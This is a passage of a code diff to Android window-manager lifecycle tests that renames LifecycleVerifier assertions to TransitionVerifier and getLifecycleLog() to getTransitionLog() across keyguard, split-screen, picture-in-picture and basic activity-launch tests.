@@ -22,6 +22,11 @@
import static android.server.wm.lifecycle.LifecycleConstants.ON_RESUME;
import static android.server.wm.lifecycle.LifecycleConstants.ON_START;
import static android.server.wm.lifecycle.LifecycleConstants.ON_STOP;
+import static android.server.wm.lifecycle.TransitionVerifier.assertLaunchAndStopSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertRestartAndResumeSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertRestartAndResumeSubSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertResumeToStopSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertSequence;
import static org.junit.Assume.assumeTrue;
@@ -33,6 +38,7 @@
import org.junit.Test;
import java.util.Arrays;
+import java.util.Collections;
/**
* Build/Install/Run:
@@ -53,7 +59,7 @@
.setExpectedState(ON_STOP)
.setNoInstance()
.launch();
- LifecycleVerifier.assertLaunchAndStopSequence(FirstActivity.class, getLifecycleLog());
+ assertLaunchAndStopSequence(FirstActivity.class, getTransitionLog());
}
}
@@ -69,19 +75,17 @@
lockScreenSession.setLockCredential().gotoKeyguard();
waitAndAssertActivityStates(state(activity, ON_STOP));
- LifecycleVerifier.assertLaunchAndStopSequence(FirstActivity.class, getLifecycleLog());
- getLifecycleLog().clear();
+ assertLaunchAndStopSequence(FirstActivity.class, getTransitionLog());
+ getTransitionLog().clear();
} // keyguard hidden
// Verify that activity was resumed
if (isCar()) {
- LifecycleVerifier.assertRestartAndResumeSubSequence(FirstActivity.class,
- getLifecycleLog());
+ assertRestartAndResumeSubSequence(FirstActivity.class, getTransitionLog());
waitAndAssertActivityCurrentState(activity.getClass(), ON_RESUME);
} else {
waitAndAssertActivityStates(state(activity, ON_RESUME));
- LifecycleVerifier.assertRestartAndResumeSequence(FirstActivity.class,
- getLifecycleLog());
+ assertRestartAndResumeSequence(FirstActivity.class, getTransitionLog());
}
}
@@ -97,21 +101,21 @@
moveTaskToPrimarySplitScreenAndVerify(firstActivity, secondaryActivity);
// Show and hide lock screen
- getLifecycleLog().clear();
+ getTransitionLog().clear();
try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
lockScreenSession.setLockCredential().gotoKeyguard();
waitAndAssertActivityStates(state(firstActivity, ON_STOP));
waitAndAssertActivityStates(state(secondaryActivity, ON_STOP));
- LifecycleVerifier.assertResumeToStopSequence(FirstActivity.class, getLifecycleLog());
- LifecycleVerifier.assertResumeToStopSequence(SideActivity.class, getLifecycleLog());
- getLifecycleLog().clear();
+ assertResumeToStopSequence(FirstActivity.class, getTransitionLog());
+ assertResumeToStopSequence(SideActivity.class, getTransitionLog());
+ getTransitionLog().clear();
} // keyguard hidden
waitAndAssertActivityStates(state(firstActivity, ON_RESUME),
state(secondaryActivity, ON_RESUME));
- LifecycleVerifier.assertRestartAndResumeSequence(FirstActivity.class, getLifecycleLog());
- LifecycleVerifier.assertRestartAndResumeSequence(SideActivity.class, getLifecycleLog());
+ assertRestartAndResumeSequence(FirstActivity.class, getTransitionLog());
+ assertRestartAndResumeSequence(SideActivity.class, getTransitionLog());
}
@Test
@@ -126,7 +130,7 @@
final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
// Clear the log before launching to Pip
- getLifecycleLog().clear();
+ getTransitionLog().clear();
// Launch Pip-capable activity and enter Pip immediately
new Launcher(PipActivity.class)
@@ -138,23 +142,23 @@
waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
// Show and hide lock screen
- getLifecycleLog().clear();
+ getTransitionLog().clear();
try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
lockScreenSession.setLockCredential().gotoKeyguard();
waitAndAssertActivityStates(state(firstActivity, ON_STOP));
waitAndAssertActivityStates(state(PipActivity.class, ON_STOP));
- LifecycleVerifier.assertResumeToStopSequence(FirstActivity.class, getLifecycleLog());
- LifecycleVerifier.assertSequence(PipActivity.class, getLifecycleLog(),
- Arrays.asList(ON_STOP), "keyguardShown");
- getLifecycleLog().clear();
+ assertResumeToStopSequence(FirstActivity.class, getTransitionLog());
+ assertSequence(PipActivity.class, getTransitionLog(),
+ Collections.singletonList(ON_STOP), "keyguardShown");
+ getTransitionLog().clear();
} // keyguard hidden
// Wait and assert lifecycle
waitAndAssertActivityStates(state(firstActivity, ON_RESUME),
state(PipActivity.class, ON_PAUSE));
- LifecycleVerifier.assertRestartAndResumeSequence(FirstActivity.class, getLifecycleLog());
- LifecycleVerifier.assertSequence(PipActivity.class, getLifecycleLog(),
+ assertRestartAndResumeSequence(FirstActivity.class, getTransitionLog());
+ assertSequence(PipActivity.class, getTransitionLog(),
Arrays.asList(ON_RESTART, ON_START, ON_RESUME, ON_PAUSE), "keyguardGone");
}
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java
index 85bc07e..a1e4a5c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java
@@ -33,7 +33,14 @@
import static android.server.wm.lifecycle.LifecycleConstants.ON_TOP_POSITION_LOST;
import static android.server.wm.lifecycle.LifecycleConstants.ON_USER_LEAVE_HINT;
import static android.server.wm.lifecycle.LifecycleConstants.getComponentName;
-import static android.server.wm.lifecycle.LifecycleVerifier.transition;
+import static android.server.wm.lifecycle.TransitionVerifier.assertLaunchSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertOrder;
+import static android.server.wm.lifecycle.TransitionVerifier.assertRecreateAndResumeSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertRestartAndResumeSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertResumeToDestroySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertTransitionObserved;
+import static android.server.wm.lifecycle.TransitionVerifier.transition;
import static androidx.test.InstrumentationRegistry.getInstrumentation;
@@ -86,7 +93,7 @@
moveTaskToPrimarySplitScreenAndVerify(secondActivity, sideActivity);
// CLear logs so we can capture just the destroy sequence
- getLifecycleLog().clear();
+ getTransitionLog().clear();
// Start an activity in separate task (will be placed in secondary stack)
mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
@@ -102,10 +109,10 @@
// Verify that the first activity was recreated to resume as it was created before
// windowing mode was switched
- LifecycleVerifier.assertRecreateAndResumeSequence(FirstActivity.class, getLifecycleLog());
+ assertRecreateAndResumeSequence(FirstActivity.class, getTransitionLog());
// Verify that the lifecycle state did not change for activity in non-focused stack
- LifecycleVerifier.assertLaunchSequence(ThirdActivity.class, getLifecycleLog());
+ assertLaunchSequence(ThirdActivity.class, getTransitionLog());
}
@Test
@@ -120,7 +127,7 @@
moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
// Launch third activity on top of second
- getLifecycleLog().clear();
+ getTransitionLog().clear();
mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
new Launcher(ThirdActivity.class)
.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
@@ -142,7 +149,7 @@
moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
// Launch translucent activity on top of second
- getLifecycleLog().clear();
+ getTransitionLog().clear();
mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
new Launcher(TranslucentActivity.class)
@@ -184,13 +191,13 @@
moveTaskToPrimarySplitScreenAndVerify(secondActivity, sideActivity);
// Finish top activity and verify that activity below became focused.
- getLifecycleLog().clear();
+ getTransitionLog().clear();
secondActivity.setResult(Activity.RESULT_OK);
secondActivity.finish();
// Check that activity was restarted and result was delivered
waitAndAssertActivityStates(state(callbackTrackingActivity, ON_RESUME));
- LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
+ assertSequence(CallbackTrackingActivity.class, getTransitionLog(),
Arrays.asList(ON_DESTROY, ON_CREATE, ON_START, ON_POST_CREATE,
ON_ACTIVITY_RESULT, ON_RESUME), "restart");
}
@@ -213,14 +220,14 @@
.launch();
// Launch second activity, first become stopped
- getLifecycleLog().clear();
+ getTransitionLog().clear();
final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
// Wait for second activity to resume and first to stop
waitAndAssertActivityStates(state(newTaskActivity, ON_STOP));
// Finish top activity
- getLifecycleLog().clear();
+ getTransitionLog().clear();
secondActivity.finish();
waitAndAssertActivityStates(state(newTaskActivity, ON_RESUME));
@@ -228,8 +235,8 @@
// Verify that the first activity was restarted to resumed state as it was brought back
// after windowing mode was switched
- LifecycleVerifier.assertRestartAndResumeSequence(ThirdActivity.class, getLifecycleLog());
- LifecycleVerifier.assertResumeToDestroySequence(SecondActivity.class, getLifecycleLog());
+ assertRestartAndResumeSequence(ThirdActivity.class, getTransitionLog());
+ assertResumeToDestroySequence(SecondActivity.class, getTransitionLog());
}
@Test
@@ -252,17 +259,17 @@
sideActivity.getComponentName());
// Finish top activity
- getLifecycleLog().clear();
+ getTransitionLog().clear();
translucentActivity.finish();
waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
waitAndAssertActivityStates(state(translucentActivity, ON_DESTROY));
// Verify that the first activity was resumed
- LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
+ assertSequence(FirstActivity.class, getTransitionLog(),
Arrays.asList(ON_RESUME), "resume");
- LifecycleVerifier.assertResumeToDestroySequence(TranslucentActivity.class,
- getLifecycleLog());
+ assertResumeToDestroySequence(TranslucentActivity.class,
+ getTransitionLog());
}
@Test
@@ -276,10 +283,10 @@
.launch();
// Wait for the activity to resume
- LifecycleVerifier.assertLaunchSequence(CallbackTrackingActivity.class, getLifecycleLog());
+ assertLaunchSequence(CallbackTrackingActivity.class, getTransitionLog());
// Enter split screen
- getLifecycleLog().clear();
+ getTransitionLog().clear();
moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
// Wait for the activity to relaunch and receive multi-window mode change
@@ -288,12 +295,12 @@
ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED,
ON_TOP_POSITION_LOST, ON_PAUSE);
waitForActivityTransitions(CallbackTrackingActivity.class, expectedEnterSequence);
- LifecycleVerifier.assertOrder(getLifecycleLog(), CallbackTrackingActivity.class,
+ assertOrder(getTransitionLog(), CallbackTrackingActivity.class,
Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY, ON_CREATE,
ON_RESUME), "moveToSplitScreen");
// Exit split-screen
- getLifecycleLog().clear();
+ getTransitionLog().clear();
dismissSplitScreen(true /* primaryOnTop */);
// Wait for the activity to relaunch and receive multi-window mode change
@@ -301,7 +308,7 @@
Arrays.asList(ON_STOP, ON_DESTROY, ON_CREATE, ON_START,
ON_POST_CREATE, ON_RESUME, ON_PAUSE, ON_RESUME, ON_TOP_POSITION_GAINED);
waitForActivityTransitions(CallbackTrackingActivity.class, expectedExitSequence);
- LifecycleVerifier.assertOrder(getLifecycleLog(), CallbackTrackingActivity.class,
+ assertOrder(getTransitionLog(), CallbackTrackingActivity.class,
Arrays.asList(ON_DESTROY, ON_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED),
"moveFromSplitScreen");
}
@@ -325,7 +332,7 @@
// Wait for the activity to receive the change.
waitForActivityTransitions(LifecycleConfigChangeHandlingActivity.class,
Arrays.asList(ON_TOP_POSITION_LOST, ON_MULTI_WINDOW_MODE_CHANGED));
- LifecycleVerifier.assertOrder(getLifecycleLog(),
+ assertOrder(getTransitionLog(),
LifecycleConfigChangeHandlingActivity.class,
Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST),
"moveToSplitScreen");
@@ -333,13 +340,13 @@
// For non-fullscreen display mode, there won't be a multi-window callback.
waitForActivityTransitions(LifecycleConfigChangeHandlingActivity.class,
Arrays.asList(ON_TOP_POSITION_LOST));
- LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+ assertTransitionObserved(getTransitionLog(),
transition(LifecycleConfigChangeHandlingActivity.class, ON_TOP_POSITION_LOST),
"moveToSplitScreen");
}
// Exit split-screen
- getLifecycleLog().clear();
+ getTransitionLog().clear();
dismissSplitScreen(true /* primaryOnTop */);
// Wait for the activity to receive the change
@@ -348,11 +355,11 @@
waitForActivityTransitions(LifecycleConfigChangeHandlingActivity.class, expectedSequence);
if (displayWindowingMode == WINDOWING_MODE_FULLSCREEN) {
- LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
- transition(LifecycleConfigChangeHandlingActivity.class,
- ON_MULTI_WINDOW_MODE_CHANGED), "exitSplitScreen");
+ assertTransitionObserved(getTransitionLog(),
+ transition(LifecycleConfigChangeHandlingActivity.class,
+ ON_MULTI_WINDOW_MODE_CHANGED), "exitSplitScreen");
}
- LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+ assertTransitionObserved(getTransitionLog(),
transition(LifecycleConfigChangeHandlingActivity.class, ON_TOP_POSITION_GAINED),
"exitSplitScreen");
}
@@ -368,12 +375,12 @@
extra -> extra.putBoolean(EXTRA_ACTIVITY_ON_USER_LEAVE_HINT, true))
.setTargetActivity(getComponentName(FirstActivity.class)));
- getLifecycleLog().clear();
+ getTransitionLog().clear();
launchActivityAndWait(SecondActivity.class);
waitForIdle();
- LifecycleVerifier.assertOrder(getLifecycleLog(), FirstActivity.class,
+ assertOrder(getTransitionLog(), FirstActivity.class,
Arrays.asList(ON_USER_LEAVE_HINT, ON_PAUSE, ON_STOP),
"moveFromSplitScreen");
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
index f0dd905..f895e4f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
@@ -26,6 +26,12 @@
import static android.server.wm.lifecycle.LifecycleConstants.ON_RESUME;
import static android.server.wm.lifecycle.LifecycleConstants.ON_START;
import static android.server.wm.lifecycle.LifecycleConstants.ON_STOP;
+import static android.server.wm.lifecycle.TransitionVerifier.assertEmptySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertLaunchSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertRestartAndResumeSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertResumeToDestroySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertSequenceMatchesOneOf;
import static org.junit.Assume.assumeTrue;
@@ -38,6 +44,7 @@
import org.junit.Test;
import java.util.Arrays;
+import java.util.Collections;
import java.util.List;
/**
@@ -66,14 +73,14 @@
waitAndAssertActivityStates(state(firstActivity, ON_STOP));
// Move activity to Picture-In-Picture
- getLifecycleLog().clear();
+ getTransitionLog().clear();
pipActivity.enterPip();
// Wait and assert lifecycle
waitAndAssertActivityStates(state(firstActivity, ON_RESUME), state(pipActivity, ON_PAUSE));
- LifecycleVerifier.assertRestartAndResumeSequence(FirstActivity.class, getLifecycleLog());
- LifecycleVerifier.assertSequence(PipActivity.class, getLifecycleLog(),
- Arrays.asList(ON_PAUSE), "enterPip");
+ assertRestartAndResumeSequence(FirstActivity.class, getTransitionLog());
+ assertSequence(PipActivity.class, getTransitionLog(), Collections.singletonList(ON_PAUSE),
+ "enterPip");
}
@Test
@@ -82,7 +89,7 @@
final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
// Clear the log before launching to Pip
- getLifecycleLog().clear();
+ getTransitionLog().clear();
// Launch Pip-capable activity and enter Pip immediately
new Launcher(PipActivity.class)
@@ -97,10 +104,9 @@
Arrays.asList(ON_PAUSE, ON_RESUME);
final List<String> extraCycleSequence =
Arrays.asList(ON_PAUSE, ON_STOP, ON_RESTART, ON_START, ON_RESUME);
- LifecycleVerifier.assertSequenceMatchesOneOf(FirstActivity.class,
- getLifecycleLog(), Arrays.asList(expectedSequence, extraCycleSequence),
- "activityEnteringPipOnTop");
- LifecycleVerifier.assertSequence(PipActivity.class, getLifecycleLog(),
+ assertSequenceMatchesOneOf(FirstActivity.class, getTransitionLog(),
+ Arrays.asList(expectedSequence, extraCycleSequence), "activityEnteringPipOnTop");
+ assertSequence(PipActivity.class, getTransitionLog(),
Arrays.asList(ON_CREATE, ON_START, ON_RESUME, ON_PAUSE), "launchAndEnterPip");
}
@@ -110,7 +116,7 @@
final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
// Clear the log before launching to Pip
- getLifecycleLog().clear();
+ getTransitionLog().clear();
// Launch Pip-capable activity and enter Pip immediately
final Activity pipActivity = new Launcher(PipActivity.class)
@@ -122,12 +128,12 @@
waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
// Exit PiP
- getLifecycleLog().clear();
+ getTransitionLog().clear();
pipActivity.finish();
waitAndAssertActivityStates(state(pipActivity, ON_DESTROY));
- LifecycleVerifier.assertEmptySequence(FirstActivity.class, getLifecycleLog(), "finishPip");
- LifecycleVerifier.assertSequence(PipActivity.class, getLifecycleLog(),
+ assertEmptySequence(FirstActivity.class, getTransitionLog(), "finishPip");
+ assertSequence(PipActivity.class, getTransitionLog(),
Arrays.asList(ON_STOP, ON_DESTROY), "finishPip");
}
@@ -140,14 +146,14 @@
.launch();
// Launch a regular activity below
- getLifecycleLog().clear();
+ getTransitionLog().clear();
new Launcher(FirstActivity.class)
.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
.launch();
// Wait and verify the sequence
- LifecycleVerifier.assertLaunchSequence(FirstActivity.class, getLifecycleLog());
- LifecycleVerifier.assertEmptySequence(PipActivity.class, getLifecycleLog(),
+ assertLaunchSequence(FirstActivity.class, getTransitionLog());
+ assertEmptySequence(PipActivity.class, getTransitionLog(),
"launchBelowPip");
}
@@ -160,7 +166,7 @@
.launch();
// Launch a regular activity into same task
- getLifecycleLog().clear();
+ getTransitionLog().clear();
new Launcher(FirstActivity.class)
.setExpectedState(ON_PAUSE)
// Skip launch time verification - it can be affected by PiP menu activity
@@ -177,11 +183,11 @@
//waitForActivityTransitions(FirstActivity.class, extraDestroySequence);
//final List<String> expectedSequence =
// Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_START, ON_RESUME, ON_PAUSE);
- //LifecycleVerifier.assertSequenceMatchesOneOf(FirstActivity.class, getLifecycleLog(),
+ //TransitionVerifier.assertSequenceMatchesOneOf(FirstActivity.class, getLifecycleLog(),
// Arrays.asList(extraDestroySequence, expectedSequence),
// "launchIntoPip");
- LifecycleVerifier.assertSequence(PipActivity.class, getLifecycleLog(),
+ assertSequence(PipActivity.class, getTransitionLog(),
Arrays.asList(ON_STOP), "launchIntoPip");
}
@@ -199,11 +205,11 @@
waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
// Destroy the activity below
- getLifecycleLog().clear();
+ getTransitionLog().clear();
firstActivity.finish();
waitAndAssertActivityStates(state(firstActivity, ON_DESTROY));
- LifecycleVerifier.assertResumeToDestroySequence(FirstActivity.class, getLifecycleLog());
- LifecycleVerifier.assertEmptySequence(PipActivity.class, getLifecycleLog(),
+ assertResumeToDestroySequence(FirstActivity.class, getTransitionLog());
+ assertEmptySequence(PipActivity.class, getTransitionLog(),
"destroyBelowPip");
}
@@ -223,25 +229,25 @@
.launch();
// Launch first activity
- getLifecycleLog().clear();
+ getTransitionLog().clear();
final Activity firstActivity = new Launcher(FirstActivity.class)
.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
.launch();
- LifecycleVerifier.assertLaunchSequence(FirstActivity.class, getLifecycleLog());
+ assertLaunchSequence(FirstActivity.class, getTransitionLog());
// Enter split screen
moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
- LifecycleVerifier.assertEmptySequence(PipActivity.class, getLifecycleLog(),
+ assertEmptySequence(PipActivity.class, getTransitionLog(),
"launchBelow");
// Launch second activity to side
- getLifecycleLog().clear();
+ getTransitionLog().clear();
new Launcher(SecondActivity.class)
.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
.launch();
- LifecycleVerifier.assertLaunchSequence(SecondActivity.class, getLifecycleLog());
- LifecycleVerifier.assertEmptySequence(PipActivity.class, getLifecycleLog(),
+ assertLaunchSequence(SecondActivity.class, getTransitionLog());
+ assertEmptySequence(PipActivity.class, getTransitionLog(),
"launchBelow");
}
@@ -264,7 +270,7 @@
.launch();
// Launch Pip-capable activity and enter Pip immediately
- getLifecycleLog().clear();
+ getTransitionLog().clear();
new Launcher(PipActivity.class)
.setExpectedState(ON_PAUSE)
.setExtraFlags(EXTRA_ENTER_PIP)
@@ -272,18 +278,18 @@
// Wait for it to launch and pause. Other activities should not be affected.
waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
- LifecycleVerifier.assertSequence(PipActivity.class, getLifecycleLog(),
+ assertSequence(PipActivity.class, getTransitionLog(),
Arrays.asList(ON_CREATE, ON_START, ON_RESUME, ON_PAUSE),
"launchAndEnterPip");
- LifecycleVerifier.assertEmptySequence(FirstActivity.class, getLifecycleLog(),
+ assertEmptySequence(FirstActivity.class, getTransitionLog(),
"launchPipOnTop");
final List<String> expectedSequence =
Arrays.asList(ON_PAUSE, ON_RESUME);
final List<String> extraCycleSequence =
Arrays.asList(ON_PAUSE, ON_STOP, ON_RESTART, ON_START, ON_RESUME);
// TODO(b/123013403): sometimes extra destroy is observed
- LifecycleVerifier.assertSequenceMatchesOneOf(SecondActivity.class,
- getLifecycleLog(), Arrays.asList(expectedSequence, extraCycleSequence),
+ assertSequenceMatchesOneOf(SecondActivity.class,
+ getTransitionLog(), Arrays.asList(expectedSequence, extraCycleSequence),
"activityEnteringPipOnTop");
}
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
index 0cf0dc3..e7b2909 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
@@ -53,7 +53,21 @@
import static android.server.wm.lifecycle.LifecycleConstants.ON_TOP_POSITION_LOST;
import static android.server.wm.lifecycle.LifecycleConstants.ON_USER_LEAVE_HINT;
import static android.server.wm.lifecycle.LifecycleConstants.getComponentName;
-import static android.server.wm.lifecycle.LifecycleVerifier.transition;
+import static android.server.wm.lifecycle.TransitionVerifier.assertEmptySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertEntireSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertLaunchAndDestroySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertLaunchSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertOrder;
+import static android.server.wm.lifecycle.TransitionVerifier.assertRelaunchSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertRestartAndResumeSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertRestartSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertResumeToDestroySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertSequenceMatchesOneOf;
+import static android.server.wm.lifecycle.TransitionVerifier.assertTransitionNotObserved;
+import static android.server.wm.lifecycle.TransitionVerifier.assertTransitionObserved;
+import static android.server.wm.lifecycle.TransitionVerifier.getLaunchAndDestroySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.transition;
import static android.view.Surface.ROTATION_0;
import static android.view.Surface.ROTATION_180;
import static android.view.Surface.ROTATION_270;
@@ -77,6 +91,7 @@
import org.junit.Test;
import java.util.Arrays;
+import java.util.Collections;
import java.util.List;
/**
@@ -92,19 +107,19 @@
public void testSingleLaunch() throws Exception {
launchActivityAndWait(FirstActivity.class);
- LifecycleVerifier.assertLaunchSequence(FirstActivity.class, getLifecycleLog());
+ assertLaunchSequence(FirstActivity.class, getTransitionLog());
}
@Test
public void testLaunchOnTop() throws Exception {
final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
- getLifecycleLog().clear();
+ getTransitionLog().clear();
launchActivityAndWait(SecondActivity.class);
waitAndAssertActivityStates(state(firstActivity, ON_STOP));
- LifecycleVerifier.assertLaunchSequence(SecondActivity.class, FirstActivity.class,
- getLifecycleLog(), false /* launchIsTranslucent */);
+ assertLaunchSequence(SecondActivity.class, FirstActivity.class,
+ getTransitionLog(), false /* launchIsTranslucent */);
}
@Test
@@ -113,12 +128,12 @@
final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
// Launch translucent activity on top
- getLifecycleLog().clear();
+ getTransitionLog().clear();
final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
waitAndAssertActivityStates(occludedActivityState(firstActivity, translucentActivity));
- LifecycleVerifier.assertLaunchSequence(TranslucentActivity.class, FirstActivity.class,
- getLifecycleLog(), true /* launchIsTranslucent */);
+ assertLaunchSequence(TranslucentActivity.class, FirstActivity.class,
+ getTransitionLog(), true /* launchIsTranslucent */);
}
@Test
@@ -126,34 +141,33 @@
final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
// Launch translucent activity on top
- getLifecycleLog().clear();
+ getTransitionLog().clear();
final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
waitAndAssertActivityStates(occludedActivityState(firstActivity, translucentActivity));
- LifecycleVerifier.assertLaunchSequence(TranslucentActivity.class, FirstActivity.class,
- getLifecycleLog(), true /* launchIsTranslucent */);
+ assertLaunchSequence(TranslucentActivity.class, FirstActivity.class,
+ getTransitionLog(), true /* launchIsTranslucent */);
// Launch another translucent activity on top
- getLifecycleLog().clear();
+ getTransitionLog().clear();
final Activity secondTranslucentActivity =
launchActivityAndWait(SecondTranslucentActivity.class);
waitAndAssertActivityStates(
occludedActivityState(translucentActivity, secondTranslucentActivity));
- LifecycleVerifier.assertSequence(TranslucentActivity.class, getLifecycleLog(),
- Arrays.asList(ON_PAUSE), "launch");
- LifecycleVerifier.assertEmptySequence(FirstActivity.class, getLifecycleLog(), "launch");
+ assertSequence(TranslucentActivity.class, getTransitionLog(),
+ Collections.singletonList(ON_PAUSE), "launch");
+ assertEmptySequence(FirstActivity.class, getTransitionLog(), "launch");
// Finish top translucent activity
- getLifecycleLog().clear();
+ getTransitionLog().clear();
secondTranslucentActivity.finish();
waitAndAssertActivityStates(state(translucentActivity, ON_RESUME));
waitAndAssertActivityStates(state(secondTranslucentActivity, ON_DESTROY));
- LifecycleVerifier.assertResumeToDestroySequence(SecondTranslucentActivity.class,
- getLifecycleLog());
- LifecycleVerifier.assertSequence(TranslucentActivity.class, getLifecycleLog(),
- Arrays.asList(ON_RESUME), "launch");
- LifecycleVerifier.assertEmptySequence(FirstActivity.class, getLifecycleLog(), "launch");
+ assertResumeToDestroySequence(SecondTranslucentActivity.class, getTransitionLog());
+ assertSequence(TranslucentActivity.class, getTransitionLog(),
+ Collections.singletonList(ON_RESUME), "launch");
+ assertEmptySequence(FirstActivity.class, getTransitionLog(), "launch");
}
@Test
@@ -173,16 +187,15 @@
int firstActivityStack = mWmState.getRootTaskIdByActivity(firstActivityName);
// Move translucent activity into the stack with the first activity
- getLifecycleLog().clear();
+ getTransitionLog().clear();
moveActivityToRootTaskOrOnTop(getComponentName(TranslucentActivity.class), firstActivityStack);
// Wait for translucent activity to resume and first activity to pause
waitAndAssertActivityStates(state(translucentActivity, ON_RESUME),
state(firstActivity, ON_PAUSE));
- LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
- Arrays.asList(ON_PAUSE), "launchOnTop");
- LifecycleVerifier.assertRestartAndResumeSequence(TranslucentActivity.class,
- getLifecycleLog());
+ assertSequence(FirstActivity.class, getTransitionLog(), Collections.singletonList(ON_PAUSE),
+ "launchOnTop");
+ assertRestartAndResumeSequence(TranslucentActivity.class, getTransitionLog());
}
@Test
@@ -193,16 +206,16 @@
waitAndAssertActivityStates(occludedActivityState(firstActivity, translucentActivity));
// Finish translucent activity
- getLifecycleLog().clear();
+ getTransitionLog().clear();
translucentActivity.finish();
waitAndAssertActivityStates(state(firstActivity, ON_RESUME),
state(translucentActivity, ON_DESTROY));
// Verify destruction lifecycle
- LifecycleVerifier.assertResumeToDestroySequence(TranslucentActivity.class,
- getLifecycleLog());
- LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
+ assertResumeToDestroySequence(TranslucentActivity.class,
+ getTransitionLog());
+ assertSequence(FirstActivity.class, getTransitionLog(),
Arrays.asList(ON_RESUME), "resumeAfterTopDestroyed");
}
@@ -219,7 +232,7 @@
waitAndAssertActivityStates(state(translucentActivity, ON_STOP),
state(firstActivity, ON_STOP));
- getLifecycleLog().clear();
+ getTransitionLog().clear();
final boolean secondActivityIsTranslucent = ActivityInfo.isTranslucentOrFloating(
secondActivity.getWindow().getWindowStyle());
@@ -228,7 +241,7 @@
secondActivity.finish();
waitAndAssertActivityStates(state(secondActivity, ON_DESTROY));
- LifecycleVerifier.assertResumeToDestroySequence(SecondActivity.class, getLifecycleLog());
+ assertResumeToDestroySequence(SecondActivity.class, getTransitionLog());
if (secondActivityIsTranslucent) {
// In this case we don't expect the state of the firstActivity to change since it is
// already in the visible paused state. So, we just verify that translucentActivity
@@ -240,7 +253,7 @@
